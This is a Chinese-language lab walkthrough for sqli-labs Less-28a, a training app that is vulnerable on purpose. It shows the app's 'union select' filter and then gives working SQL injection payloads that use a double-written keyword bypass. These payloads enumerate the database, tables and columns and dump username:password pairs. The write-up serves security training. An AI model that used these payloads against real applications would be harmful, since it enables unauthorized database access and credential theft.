sqli-labs-Less-28a

SQLI-LAPS 实验记录

Less-28a

这一关给出的提示信息显示仅对'UNION'以及'SELECT'字符串进行了过滤,相比上一关,难度要降低了一些,我们只需要使用双写绕过的方式就可以应对。

php 复制代码
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id);				//Strip out --.
//$id= preg_replace('/[#]/',"", $id);					//Strip out #.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out spaces.
return $id;
}
php 复制代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

根据之前我们的注入经验,并结合源码中的sql查询语句,按照提示信息,输入Payload如下:

php 复制代码
0') union%09union selectselect 1,2,3 and ('1')=('1

结果如图所示,可以看到页面成功返回信息,我们就可以在回显位进行修改,以查找对应的数据库名、表名、列名及其他数据。

后续查找数据库表名、列名及其他数据的Payload分别如下:

  • 查找数据库名:

    php 复制代码
    0') union%09union selectselect 1,database(),3 and ('1')=('1
  • 查找表名:

    php 复制代码
    0') union%09union selectselect 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and ('1')=('1
  • 查找列名:

    php 复制代码
    0') union%09union selectselect 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 and ('1')=('1

    查找其他数据:

    php 复制代码
    0') union%09union selectselect 1,(select concat(username,':',password) from security.users where (id=1)),3 and ('1')=('1

    这里如果想要查询其他的用户名与密码,可以修改where语句当中的id值,即id=2,3,4......

相关推荐
数智化管理手记4 小时前
精益生产中的TPM管理是什么?一文破解设备零故障的密码
服务器·网络·数据库·低代码·制造·源代码管理·精益工程
翊谦4 小时前
Java Agent开发 Milvus 向量数据库安装
java·数据库·milvus
難釋懷5 小时前
OpenResty实现Redis查询
数据库·redis·openresty
别抢我的锅包肉5 小时前
【MySQL】第四节 - 多表查询、多表关系全解析
数据库·mysql·datagrip
Database_Cool_5 小时前
OpenClaw-Observability:基于 DuckDB 构建 OpenClaw 的全链路可观测体系
数据库·阿里云·ai
菩提小狗5 小时前
每日安全情报报告 · 2026-04-02
网络安全·漏洞·cve·安全情报·每日安全
刘~浪地球6 小时前
Redis 从入门到精通(五):哈希操作详解
数据库·redis·哈希算法
XLYcmy6 小时前
一个针对医疗RAG系统的数据窃取攻击工具
python·网络安全·ai·llm·agent·rag·ai安全
zzh0816 小时前
MySQL高可用集群笔记
数据库·笔记·mysql
汤愈韬6 小时前
网络安全概念及规范_2
网络安全·security